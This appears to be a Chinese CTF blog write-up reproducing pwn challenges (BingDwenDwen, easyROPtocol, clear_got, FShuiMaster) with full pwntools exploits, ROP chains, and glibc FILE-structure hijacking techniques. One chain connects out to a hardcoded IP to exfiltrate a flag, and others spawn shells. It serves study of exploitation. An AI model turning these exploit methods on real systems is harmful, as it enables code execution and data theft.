菜鸡又来复现学习了orz…… 比赛的时候没来得及,只看了三个题,唯一一个本地能出的easyRopotocl远程始终打不了,数据一发就崩=-=
BingDwenDwen 题目 给了一个栈溢出,关了fd0,1,2
赛后查了一下有类似的题,介绍了两种方法
思路1 首先想的是找办法恢复输入输出。stdin,stdout,stderr通常指向/dev/pts/?(?通常为0~3),pts是tty的一部分,tty子系统用来管理终端,对每一个连接的终端都会有一个tty设备与其对应
直接使用tty命令可以看到当前shell被关联到哪个tty,如下所示看到向/dev/pts/2写数据会显示到终端上,使用lsof可以看到当前shell和lsof进程的stdin,stdout,stderr都绑定到了该tty上
pty属于伪终端,当使用ssh,talnet等连接的终端时并没有真正的设备连接到主机,而是建立了一个伪终端来模拟各种行为
所以应用到本题,如果能够open到正确的/dev/pts/?,然后将flag输出到其中,就能够得到flag。本方法本地没问题但是远程行不通
思路2 通过rop执行socket反弹flag
1 2 socket(2 , 1 , 0 ) connect(socket_fd, &socketaddr_struct, 0x10 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *import syscontext(os='linux' , arch='amd64' , log_level='debug' ) if sys.argv[1 ] == 're' : r = remote('node4.buuoj.cn' ,28332 ) else : r = process('./pwn' ) prax_r = 0x000000000040135a prbp_r = 0x00000000004011dd prcx_r = 0x000000000040135d prdi_r = 0x0000000000401356 prdx_r = 0x0000000000401354 prsi_r = 0x0000000000401358 syscall_r = 0x401351 push_rax_pop_rcx_r = 0x40135C mov_rdi_rcx_r = 0x40135F ret = 0x000000000040101a rop = p64(prax_r)+p64(2 ) rop+= p64(prdi_r)+p64(0x4038f9 ) rop+= p64(prsi_r)+p64(0 ) rop+= p64(prdx_r)+p64(0 ) rop+= p64(syscall_r) rop+= p64(prax_r)+p64(0 ) rop+= p64(prdi_r)+p64(0 ) rop+= p64(prsi_r)+p64(0x403800 ) rop+= p64(prdx_r)+p64(0x50 ) rop+= p64(syscall_r) rop+= p64(prax_r)+p64(41 ) rop+= p64(prdi_r)+p64(2 ) rop+= p64(prsi_r)+p64(1 ) rop+= p64(prdx_r)+p64(0 ) rop+= p64(syscall_r) rop+= p64(prax_r)+p64(42 ) rop+= p64(prdi_r)+p64(1 ) rop+= p64(prsi_r)+p64(0x403700 +0x1f0 ) rop+= p64(prdx_r)+p64(0x10 ) rop+= p64(syscall_r) rop+= p64(prax_r)+p64(1 ) rop+= p64(prdi_r)+p64(1 ) rop+= p64(prsi_r)+p64(0x403800 ) rop+= p64(prdx_r)+p64(0x50 ) rop+= p64(syscall_r) rop = rop.ljust(0x1f0 -16 , b'\x00' ) rop+= p64(0xbb061b400a1a0002 ) rop+= b'./flag\x00\x00' r.recv() r.send(b'A' *0x10 +rop) r.interactive()
easyROPtocol 就布置好数据然后submit栈溢出,本地没问题远程没打通过,麻
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' if sys.argv[1 ] == 're' : ti = 7 r = remote('node4.buuoj.cn' ,29952 ) else : ti = 0.5 r = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc-2.31.so' ) def add (i, ct ): r.sendafter('4. Quit.' , str (1 ).ljust(8 , '\x00' )) con = p16(0x766e )+p16(0x28B7 )+ \ p32(1 +i*0x1000 )+p16(1 )+p16(1 )+p32(0x00010006 )+p32(0x1 )+p16(1 )+p16(0xffff ) ans = calc((con+ct).ljust(0x1000 , b'\x00' )) content = p16(0x766e )+p16(0x28B7 )+ \ p32(1 +i*0x1000 )+p16(1 )+p16(1 )+p32(0x00010006 )+p32(ans)+p16(1 )+p16(0xffff )+ct print (hex (ans)) sleep(ti) r.send(content) def calc (c ): v5 = 5131 for i in range (0 , 0x800 , 1 ): if i!=8 : v5 ^= (c[2 *i]+c[2 *i+1 ]*0x100 ) return v5 def submit (): r.sendlineafter('4. Quit.' , str (3 )) def delete (idx ): r.sendlineafter('4. Quit.' , str (2 )) r.sendlineafter('Which?' , str (idx)) def PWN (): prdi_r = 0x0000000000401bb3 prsi_pr15_r = 0x0000000000401bb1 rop = p64(prdi_r)+p64(1 ) rop+= p64(prsi_pr15_r)+p64(elf.got['write' ])+p64(0 ) rop+= p64(elf.plt['write' ]) rop+= p64(prdi_r)+p64(1 ) rop+= p64(prsi_pr15_r)+p64(0x404240 )+p64(0 ) rop+= p64(elf.plt['write' ]) rop+= p64(0x401A5E ) add(0 , b'A' *(0x1000 -0x18 -6 )+b'./flag' ) add(1 , b'A' *(0x1000 -0x18 )) add(2 , b'A' *(0x1000 -0x18 )) add(3 , b'A' *0x70 +rop) submit() libc.address = u64(r.recvuntil(b'\x7f' )[-6 :]+b'\x00' *2 )-libc.sym['write' ] heap = u64(r.recv(6 )+b'\x00\x00' ) print (hex (heap)) print (hex (libc.address)) flag = heap+0xffa delete(3 ) prdx_r12_r = libc.address+0x000000000011c371 ret = 0x000000000040101a rop = p64(prdi_r)+p64(flag) rop+= p64(prsi_pr15_r)+p64(0 )*2 rop+= p64(libc.sym['open' ]) rop+= p64(prdi_r)+p64(3 ) rop+= p64(prsi_pr15_r)+p64(0x404220 )+p64(0 ) rop+= p64(prdx_r12_r)+p64(0x50 )+p64(0 ) rop+= p64(libc.sym['read' ]) rop+= p64(prdi_r)+p64(1 ) rop+= p64(prsi_pr15_r)+p64(0x404220 )+p64(0 ) rop+= p64(prdx_r12_r)+p64(0x50 )+p64(0 ) rop+= p64(libc.sym['write' ]) print (hex (heap)) print (hex (libc.address)) add(3 , b'A' *0x70 +rop) submit() if __name__ == '__main__' : PWN() r.interactive()
clear_got 题目 清空了got表,裸栈溢出
思路 一开始以为是想办法恢复got表,但是行不通因为got表前面的_dl_runtime_resolve的地址也被清空了,所以是无法再次解析函数地址的;后来尝试泄露libc查偏移做rop但是远程打不通没有再试了,看了下wp才发现是直接程序内rop,于是自己写了个路子;相比之下官方exp更加简洁,学习了orz……
主要要点在于如何控制rax为0,从而执行read然后再控rax为59执行execve,我自己用的gadget如下,因为有leave所以被迫栈迁移1 2 3 .text:000000000040075C mov eax, 0 .text:0000000000400761 leave .text:0000000000400762 retn
官方exp用的gadget是1 2 3 4 5 6 7 8 9 .init:0000000000400520 sub rsp, 8 ; _init .init:0000000000400524 mov rax, cs:__gmon_start___ptr .init:000000000040052B test rax, rax .init:000000000040052E jz short loc_400535 .init:0000000000400530 call __gmon_start__ .init:0000000000400535 .init:0000000000400535 loc_400535: ; CODE XREF: _init_proc+E↑j .init:0000000000400535 add rsp, 8 .init:0000000000400539 retn
__gmon_start___ptr刚好为0,从而清零了rax,同时也跳开了call返回
myexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process('./clear_got' ) elf = ELF('./clear_got' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) r.recv() exitgroup = 0x400763 sys_write = 0x400773 prdi_r = 0x00000000004007f3 prsi_r15_r = 0x00000000004007f1 leave_r = 0x0000000000400761 prbp_r = 0x0000000000400620 ret = 0x0000000000400539 syscall = 0x40077E prsp_p3_r = 0x00000000004007ed csu_down = 0x4007EA csu_up = 0x4007D0 bss = 0x601200 main_ret = 0x40075C rop = '' rop+= p64(prdi_r)+p64(0 ) rop+= p64(prsi_r15_r)+p64(bss-0x10 )+p64(0 ) rop+= p64(syscall) rop+= p64(csu_down) rop+= p64(0 ) rop+= p64(bss) rop+= p64(bss) rop+= p64(0x200 ) rop+= p64(bss+0x10 ) rop+= p64(0 ) rop+= p64(csu_up) rop+= 'A' *0x10 print len (rop)+96 +8 r.sendline('A' *96 +p64(bss+8 )+rop) sleep(1 ) rop2 = '' rop2 += p64(syscall) rop2 += '/bin/sh\x00' rop2 += p64(main_ret) rop2 += p64(syscall) rop2 = rop2.ljust(0x38 , '\x00' ) r.send(rop2) sleep(1 ) rop3 = '' rop3 += p64(0x4007EC ) rop3 += p64(bss-0x10 ) rop3 += p64(0 )*2 rop3 += p64(bss-8 ) rop3 += p64(0x4007D0 ) r.send((rop3).ljust(59 , '\x00' )) r.interactive() ''' Gadgets information ============================================================ 0x00000000004007ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007ee : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007f0 : pop r14 ; pop r15 ; ret 0x00000000004007f2 : pop r15 ; ret 0x00000000004007eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007ef : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400620 : pop rbp ; ret 0x00000000004007f3 : pop rdi ; ret 0x00000000004007f1 : pop rsi ; pop r15 ; ret 0x00000000004007ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400539 : ret 0x0000000000400542 : ret 0x200a '''
FShuiMaster 题目 Ubuntu GLIBC 2.27-3ubuntu1 限制largebin,off by null
可以劫持io file,作为一个版题这里复现几种方法
思路1 _IO_str_overflow largebin attack改写_IO_list_all指向堆地址,堆上布置fake _IO_FILE_plus,布置数据1 2 3 4 5 6 7 8 9 10 11 12 _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100 ) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100 ) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps fp+0xe0 = system
exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow调用链,在_IO_str_overflow中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
利用处1 2 new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
进入到这里,_IO_strfile结构体定义如下1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 typedef struct _IO_strfile_ { struct _IO_streambuf _sbf ; struct _IO_str_fields _s ; } _IO_strfile; struct _IO_streambuf { struct _IO_FILE _f ; const struct _IO_jump_t *vtable ; }; struct _IO_str_fields { _IO_alloc_type _allocate_buffer; _IO_free_type _free_buffer; };
所以控制fp->_s._allocate_buffer为system,new_size为/bin/sh即可getshell。前者对应偏移为0xe0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pwndbg> p/x *(struct _IO_strfile_ *) 0x55555555d470 $ 2 = { _sbf = { _f = { _flags = 0x0, _IO_read_ptr = 0x500, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x3ffffbdcaedc, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x3ffffbdcaedb, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x0, _offset = 0x0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x2, _freeres_buf = 0x3, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = {0x0 <repeats 20 times>} }, vtable = 0x7ffff7dca360 }, _s = { _allocate_buffer_unused = 0x7ffff7a31550, _free_buffer_unused = 0x4141414141414100 } }
最后exit即可触发调用
需要说明的是在当前ubuntu18.04中使用的libc版本为1.4,_IO_str_overflow中已经改成使用malloc申请空间,如果能劫持__malloc_hook为system则可以考虑该方法,否则此法无法再使用
exp1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process(["./ld-2.27.so" , "./FShuiMaster" ], env={"LD_PRELOAD" :"./libc-2.27.so" }) libc = ELF('./libc-2.27.so' ) def add (sz, ct ): r.sendlineafter('Five: Finished!' , str (1 )) r.sendlineafter('Number of words?' , str (sz)) r.sendafter('please input U character' , ct) def edit (idx, ct ): r.sendlineafter('Five: Finished!' , str (2 )) r.sendlineafter('please input the page U want 2 change' , str (idx)) r.sendafter('Now Change U this page : ' , ct) def delete (idx ): r.sendlineafter('Five: Finished!' , str (3 )) r.sendlineafter('please Input the page U want 2 tear off' , str (idx)) def show (idx ): r.sendlineafter('Five: Finished!' , str (4 )) r.sendlineafter('please Input The page U want 2 scan' , str (idx)) r.recv() r.sendline('ayoung' ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) delete(0 ) add(0x600 , '\x00' ) add(0x5f8 , 'A' *8 ) show(10 ) libc.address = u64(r.recvuntil('\x7f' )[-6 :]+'\x00\x00' )-1232 -0x10 -libc.sym['__malloc_hook' ] delete(10 ) add(0x600 , '\x00' ) add(0x5f8 , 'A' *0x10 ) show(12 ) r.recvuntil('A' *0x10 ) heap_base = u64(r.recv(6 )+'\x00\x00' )-0x250 print hex (heap_base)print hex (libc.address)delete(12 ) edit(6 , 'B' *0x5f0 +p64(0x2a00 )) delete(7 ) add(0x4f8 , '\xa0' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\xa0' ) add(0x6f8 , '\x00' ) add(0x508 , '\x00' ) add(0x5f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x430 , '\x00' ) delete(11 ) edit(21 , 'A' *0x500 +p64(0xb20 )) delete(22 ) add(0x608 , '\x00' ) add(0x508 , '\x00' ) add(0x5f8 , '\x00' ) delete(15 ) add(0x700 , '\x00' ) delete(21 ) edit(2 , p64(libc.sym['__malloc_hook' ]+0x10 +1168 )*2 + \ p64(0 )+p64(libc.sym['_IO_list_all' ]-0x20 )+'\n' ) add(0x700 , '\x00' ) pay = '' pay+= p64(0 )*2 pay+= p64(0 ) pay+= p64((libc.search('/bin/sh' ).next ()-100 )/2 +1 ) pay+= p64(0 )*2 pay+= p64((libc.search('/bin/sh' ).next ()-100 )/2 ) pay+= p64(0 )*12 pay+= p64(2 ) pay+= p64(3 ) pay+= p64(0 ) pay+= p64(0xffffffff ) pay+= p64(0 )*2 pay+= p64(libc.address+0x3e8360 ) pay+= p64(libc.sym['system' ]) edit(25 , '\x00' *0x608 ) edit(26 , pay+'\n' ) ''' _flags = 0 _IO_write_base = 0 _IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1 _IO_buf_end = (binsh_in_libc_addr -100) / 2 _freeres_list = 0x2 _freeres_buf = 0x3 _mode = -1 vtable = _IO_str_jumps ''' r.recv() r.sendline('5' ) r.interactive()
思路2 _IO_str_finish 类似的方法,用_IO_str_finish做一下1 2 3 4 5 6 7 8 9 10 11 #define _IO_USER_BUF 1 ... void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
利用处1 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
所以要让fp->_s._free_buffer=system,fp->_IO_buf_base=/bin/sh,前面提到过fp->_s._free_buffer实际上就在fp->_s._allocate_buffer后面,相对fp偏移0xe8 同时需要满足条件
fp->_IO_buf_base存在
!(fp->_flags & _IO_USER_BUF)为真,即fp->_flags & _IO_USER_BUF为假,即让_flags=0即可
想要调用_IO_str_finish,可以让fake vtable向前偏移0x8 然后看_IO_flush_all_lockp源码怎么进目标函数,需要满足fp->_mode <= 0 && (fp->_IO_write_ptr > fp->_IO_write_base)为真,从而执行_IO_OVERFLOW,实际上由于我们让fake vtable指向_IO_str_jumps-8,这里最终会调用_IO_str_finish1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int _IO_flush_all_lockp (int do_lock) { int result = 0 ; struct _IO_FILE *fp ; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (_IO_FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif return result; }
这样一来就明白了 需要满足的条件如下,最终exit即可getshell1 2 3 4 5 6 7 8 9 10 _flags = 0 fp->_IO_write_ptr = 1 fp->_IO_write_base= 0 _IO_buf_base = binsh_addr _mode = -1 vtable = _IO_str_finish fp+0xe8 -> system_addr
看一下布置好的结构体1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pwndbg> p/x *(struct _IO_strfile_ *) 0x55555555d470 $ 1 = { _sbf = { _f = { _flags = 0x0, _IO_read_ptr = 0x500, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x1, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b95e1a, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x0, _offset = 0x0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = {0x0 <repeats 20 times>} }, vtable = 0x7ffff7dca358 }, _s = { _allocate_buffer_unused = 0x0, _free_buffer_unused = 0x7ffff7a31550 } }
最后的最后这种方法在当前ubuntu18.04也是打不通的,因为函数里实际上调用的是free,如果能劫持__free_hook为system,则可以使用该方法
exp2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) r = process(["./ld-2.27.so" , "./tmp" ], env={"LD_PRELOAD" :"./libc-2.27.so" }) libc = ELF('./libc-2.27.so' ) def add (sz, ct ): r.sendlineafter('Five: Finished!' , str (1 )) r.sendlineafter('Number of words?' , str (sz)) r.sendafter('please input U character' , ct) def edit (idx, ct ): r.sendlineafter('Five: Finished!' , str (2 )) r.sendlineafter('please input the page U want 2 change' , str (idx)) r.sendafter('Now Change U this page : ' , ct) def delete (idx ): r.sendlineafter('Five: Finished!' , str (3 )) r.sendlineafter('please Input the page U want 2 tear off' , str (idx)) def show (idx ): r.sendlineafter('Five: Finished!' , str (4 )) r.sendlineafter('please Input The page U want 2 scan' , str (idx)) r.recv() r.sendline('ayoung' ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) add(0x5f8 , 'A' *0x5f8 ) delete(0 ) add(0x600 , '\x00' ) add(0x5f8 , 'A' *8 ) show(10 ) libc.address = u64(r.recvuntil('\x7f' )[-6 :]+'\x00\x00' )-1232 -0x10 -libc.sym['__malloc_hook' ] delete(10 ) add(0x600 , '\x00' ) add(0x5f8 , 'A' *0x10 ) show(12 ) r.recvuntil('A' *0x10 ) heap_base = u64(r.recv(6 )+'\x00\x00' )-0x250 print hex (heap_base)print hex (libc.address)delete(12 ) edit(6 , 'B' *0x5f0 +p64(0x2a00 )) delete(7 ) add(0x4f8 , '\xa0' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x6f8 , '\x00' ) add(0x4f8 , '\xa0' ) add(0x6f8 , '\x00' ) add(0x508 , '\x00' ) add(0x5f8 , '\x00' ) add(0x4f8 , '\x00' ) add(0x430 , '\x00' ) delete(11 ) edit(21 , 'A' *0x500 +p64(0xb20 )) delete(22 ) add(0x608 , '\x00' ) add(0x508 , '\x00' ) add(0x5f8 , '\x00' ) delete(15 ) add(0x700 , '\x00' ) delete(21 ) edit(2 , p64(libc.sym['__malloc_hook' ]+0x10 +1168 )*2 + \ p64(0 )+p64(libc.sym['_IO_list_all' ]-0x20 )+'\n' ) add(0x700 , '\x00' ) pay = '' pay+= p64(0 )*2 pay+= p64(0 ) pay+= p64(1 ) pay+= p64(0 ) pay+= p64(libc.search('/bin/sh' ).next ()) pay+= p64(0 ) pay+= p64(0 )*12 pay+= p64(0 ) pay+= p64(0 ) pay+= p64(0 ) pay+= p64(0xffffffff ) pay+= p64(0 )*2 pay+= p64(libc.address+0x3e8360 -8 ) pay+= p64(0 ) pay+= p64(libc.sym['system' ]) edit(25 , '\x00' *0x608 ) edit(26 , pay+'\n' ) ''' _flags = 0 fp->_IO_write_ptr = 1 fp->_IO_write_base= 0 _IO_buf_base = binsh_addr _mode = -1 vtable = _IO_str_finish fp+0xe8 -> system_addr ''' r.recv() r.sendline('5' ) r.interactive()
思路3 _IO_wstr_overflow 和前两种类似,使用_IO_wstr_jumps里的函数
源码1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #define _IO_NO_WRITES 8 #define _IO_wblen(fp) ((fp)->_wide_data->_IO_buf_end \ - (fp)->_wide_data->_IO_buf_base) #define _IO_TIED_PUT_GET 0x400 #define _IO_CURRENTLY_PUTTING 0x800 #define _IO_FLAGS2_USER_WBUF 8 _IO_wint_t _IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c) { int flush_only = c == WEOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : WEOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr; fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end; } pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base; if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only)) { if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) return WEOF; else { wchar_t *new_buf; wchar_t *old_buf = fp->_wide_data->_IO_buf_base; size_t old_wblen = _IO_wblen (fp); _IO_size_t new_size = 2 * old_wblen + 100 ; if (__glibc_unlikely (new_size < old_wblen) || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t ))) return EOF; new_buf = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size * sizeof (wchar_t )); if (new_buf == NULL ) { return WEOF; } if (old_buf) { __wmemcpy (new_buf, old_buf, old_wblen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_wide_data->_IO_buf_base = NULL ; } __wmemset (new_buf + old_wblen, L'\0' , new_size - old_wblen); _IO_wsetb (fp, new_buf, new_buf + new_size, 1 ); fp->_wide_data->_IO_read_base = new_buf + (fp->_wide_data->_IO_read_base - old_buf); fp->_wide_data->_IO_read_ptr = new_buf + (fp->_wide_data->_IO_read_ptr - old_buf); fp->_wide_data->_IO_read_end = new_buf + (fp->_wide_data->_IO_read_end - old_buf); fp->_wide_data->_IO_write_ptr = new_buf + (fp->_wide_data->_IO_write_ptr - old_buf); fp->_wide_data->_IO_write_base = new_buf; fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end; } } if (!flush_only) *fp->_wide_data->_IO_write_ptr++ = c; if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end) fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr; return c; }
利用处1 2 new_buf = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size* sizeof (wchar_t ));
需要让fp->_s._allocate_buffer=system,new_size*sizeof(wchar_t)=/bin/sh,sizeof(wchar_t)=4
要走到这里,需要满足
fp->_flags & _IO_NO_WRITES为假
fp->_flags & _IO_TIED_PUT_GET为假
fp->_flags2 & _IO_FLAGS2_USER_WBUF为假
fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base >= (_IO_size_t) (_IO_wblen (fp) + flush_only),即_IO_write_ptr-_IO_write_base >= _IO_buf_end-_IO_buf_base+0/1
new_size*sizeof(wchar_t)=4*(2*old_wblen+100)=8*(fp->_wide_data->_IO_buf_end - fp->_wide_data->_IO_buf_base)+400,即_IO_buf_end - _IO_buf_base=(binsh_addr-400)/8 (为了方便让fp->_wide_data指向fp+0x8,则fp->_IO_buf_base与fp->_wide_data->_IO_buf_base指向同一处)
注意:上述条件为理论部分,可能是libc小版本对应源码有出入,实际上在libc2.27-1.0中根据汇编,为了让new_size指向/bin/sh,应布置_IO_buf_end - _IO_buf_base=(binsh)/2-200
综上所述,再加上之前提到的从_IO_flush_all_lockp进入目标函数的条件,fake file结构体需要满足条件如下1 2 3 4 5 6 7 8 9 10 11 _flags = 0 _flags2= 0 _IO_write_base= 0 _IO_write_ptr = 0x7fffffff _IO_buf_end = binsh_addr/2 -200 _IO_buf_base = 0 mode = -1 fp+0xe0 = system
同样在之后的libc会直接使用malloc申请空间,方法失效
